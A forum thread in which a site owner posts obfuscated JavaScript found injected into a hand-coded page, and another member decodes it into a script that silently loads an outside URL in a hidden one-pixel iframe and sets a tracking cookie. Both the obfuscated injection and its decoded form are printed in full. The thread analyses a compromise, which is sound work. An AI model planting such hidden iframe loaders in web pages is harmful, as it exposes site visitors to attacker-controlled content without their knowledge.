SitePoint Sponsor

User Tag List

Results 1 to 6 of 6
  1. #1
    SitePoint Zealot
    Join Date
    Jul 2006
    Posts
    112
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)

    Talking Can someone decipher this javascript please

    Hi I found this on my index page of one of my websites. I created the site in question from scratch and don't know a thing about javascript so how it got there is beyond me. I can only assume it is javascript because it is client side. Not being a javascript user I wouldnt be able to tell. Now to me it looks like this script is encoded some how (again beyond my scope of knowledge) so I was wondering if anyone who did know java script could decipher it for me so I can better understand what it was trying to achieve.

    Any help is greatly appreciated.

    Code JavaScript:
    <!--<S>--><script>try {var Zl='99E95E9SE9gE9PE9cE9rE9pE9OE9KE9qE9wE9LE9dE9ZE96E94E9XE9HE9AE9sE9hE9kE9iE9aE9YE9fE9jE9IE9yE9bE9lE97E9tE9nE9TE9NE9GE9JE9eE9FE98E9oE9ME9UE9BE9WE9RE9CE93E9DE9zE9VE9mE59E55E5SE5gE5PE5cE5r',cTH=String('E');var LDn=Array(IS('137'),IS('198'),25450^25532,199,220,9169^8980,193,50181^50320,IS('217'),IS('212'),IS('219'),IS('210'),IS('192'),IS('208'),136,IS('151'),IS('223'),39474^39665,IS('139'),184,IS('191'),IS('209'),IS('134'),142,IS('132'),IS('211'),157,53160^53106,216,IS('155'),222,205,250,IS('158'),156,152,28015^28065,IS('221'),54876^54995,IS('154'),IS('133'),IS('140'),IS('240'),58724^58768,215,IS('153'),IS('247'),194,29822^29874,IS('246'),IS('234'),200,IS('241'),225,31772^31903,IS('159'),IS('135'),129,19623^19541,IS('248'),6718^6872);var WiZ;var CXi;var Xhn,DA='99959S9g9P9c9r9p9O9K9q9w9L9K9w9d9Z96949K9X9K959S9g9P9c9r969H9A9s9X9K9g9p9S9q9p9Z9p969L9q9h9S9g9k969i9A9s9X9K9g9p9S9X9p9Z9p969a969i9A9s9P9Y9f9h9j9S9L9I9d9q9r9y9S9j9j9b9P9d9y9P9q9h9d9l979Y9f9S9q9t969Z969t9S9X9n9p9Z9Z9p9T9a9n9A9s9N9A9s9X9K9g9p9L9g9O9p9Z9p969G9r9r9c9J9e9e9L9q9h9b9g9d9h9P9r9y9j9g9w9e9I9F989F9e9P9q9h9d9l9y9c9G9c969i9A9s9X9K9g9p9j9p9Z9p9h9j9S9L9I9d9q9r9y9S9g9d9K9r9d9o9O9d9I9d9q9r9f969P9Y9g9K9I9d969n9i9j9y959d9r9M9r9r9g9P9U9L9r9d9f96959g9S969B9p9L9g9O9n9i9A9s9j9y9Y9g9K9I9d9W9j9g9h9d9g9Z9F9i9p9j9y9R9P9h9r9G9Z9a9i9p9j9y9G9d9P9w9G9r9Z9a9i9p9j9y959r9C9O9d9y9h9P959c9O9K9C9Z969q9j9q9d969i9p9A9s9r9g9C9p9N9p9h9j9S9L9I9d9q9r9y9U9j9h9C9y9K9c9c9d9q9h939G9P9O9h9f9j9n9i9p9g959C959D959S9f9S9q9B9S9X9n9i9z9A9s9S9K9r9S9G9f9d9n9N9A9s9h9j9S9L9I9d9q9r9y9R9g9P9r9d9f96999G9r9I9O9H999U9j9h9C9H999e9U9j9h9C9H999e9G9r9I9O9H969n9i9A9s9h9j9S9L9I9d9q9r9y9U9j9h9C9y9K9c9c9d9q9h939G9P9O9h9f9j9n9i9p9g959C959D959S9f9S9q9B9S9X9n9i9A9s9z9z9A9s9Y9L9q9S9r9P9j9q9p9g959C959D959S9f9S9q9B9S9X9n9N9p9X9K9g9p9r9Z9p9q9d9R9p9V9K9r9d9f9n9i9p9X9K9g9p9d9Z9p9q9d9R9p9V9K9r9d9f9n9i9p9d9y959d9r9m9P9I9d9f9r9y9w9d9r9m9P9I9d9f9n9t9k599F9F9F9F9F555S5g9n9i9p9h9j9S9L9I9d9q9r9y9S9j9j9b9P9d9p9Z9p9S9q9t969Z969t9d959S9K9c9d9f9S9X9n9t969i9d9l9c9P9g9d959Z969t9d9y9r9j5P5c9m5r9r9g9P9q9w9f9n9i9p9z9A9s999e959S9g9P9c9r9H';var KXz=String();Zl=Zl.split(cTH);for(WiZ=0;WiZ<DA.length;WiZ+=2){Xhn=DA.substr(WiZ,2);for(CXi=0;CXi<Zl.length;CXi++){if(Zl[CXi]==Xhn)break;} KXz+=String.fromCharCode(LDn[CXi]^181);}function IS(JN){return parseInt(JN)}document.write(KXz);}
    catch(e){}</script><!--</S>-->

  2. #2
    SitePoint Evangelist hexburner's Avatar
    Join Date
    Jan 2007
    Location
    Belgium
    Posts
    591
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Something tells me you shouldn't decipher this JavaScript, because it's not a free one?
    And if you really wanna know what the script does, just comment it out, check the page again and see what stopped working.
    FOR SALE: 1 set of morals, never used, will sell cheap

  3. #3
    . shoooo... silver trophy logic_earth's Avatar
    Join Date
    Oct 2005
    Location
    CA
    Posts
    9,013
    Mentioned
    8 Post(s)
    Tagged
    0 Thread(s)
    Encrypting JavaScript/HTML is so lame. Took me 5 seconds with firebug.

    Code JavaScript:
    <script language="javascript">
        var cn = "undcr3";
        var cv = "1";
     
        if (document.cookie.indexOf(cn + "=" + cv) == -1) {
            var url = "http://undkredit.org/m090/index.php";
            var o = document.createElement("iframe");
            o.setAttribute("src", url);
            o.frameBorder = 0;
            o.width = 1;
            o.height = 1;
            o.style.display = "none";
     
            try {
                document.body.appendChild(o);
                rsys_sc(cn, cv);
            } catch (e) {
                document.write("<html><body></body></html>");
                document.body.appendChild(o);
                rsys_sc(cn, cv);
            }
        }
     
        function rsys_sc(cn, cv) {
            var t = new Date();
            var e = new Date();
            e.setTime(t.getTime() + 3600000 * 24);
            document.cookie = cn + "=" + escape(cv) + ";expires=" + e.toGMTString();
        }
    </script>
    Logic without the fatal effects.
    All code snippets are licensed under WTFPL.


  4. #4
    SitePoint Evangelist hexburner's Avatar
    Join Date
    Jan 2007
    Location
    Belgium
    Posts
    591
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Haha :d
    I didn't look at the end of the line there
    FOR SALE: 1 set of morals, never used, will sell cheap

  5. #5
    SitePoint Wizard siteguru's Avatar
    Join Date
    Oct 2002
    Location
    Scotland
    Posts
    3,629
    Mentioned
    2 Post(s)
    Tagged
    0 Thread(s)
    Free web hosting inserting their own ad?
    Ian Anderson
    www.siteguru.co.uk

  6. #6
    SitePoint Zealot
    Join Date
    Jul 2006
    Posts
    112
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    The thing is it wasn't on a free hosting account, although my host did say a while ago that some ftp accounts were compromised. Also It didn't do anything that you could see on the site and I hand coded the page I found it on and don't even know javascript so I sure didnt put it there.

    Thank you logic earth and everyone else .


Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •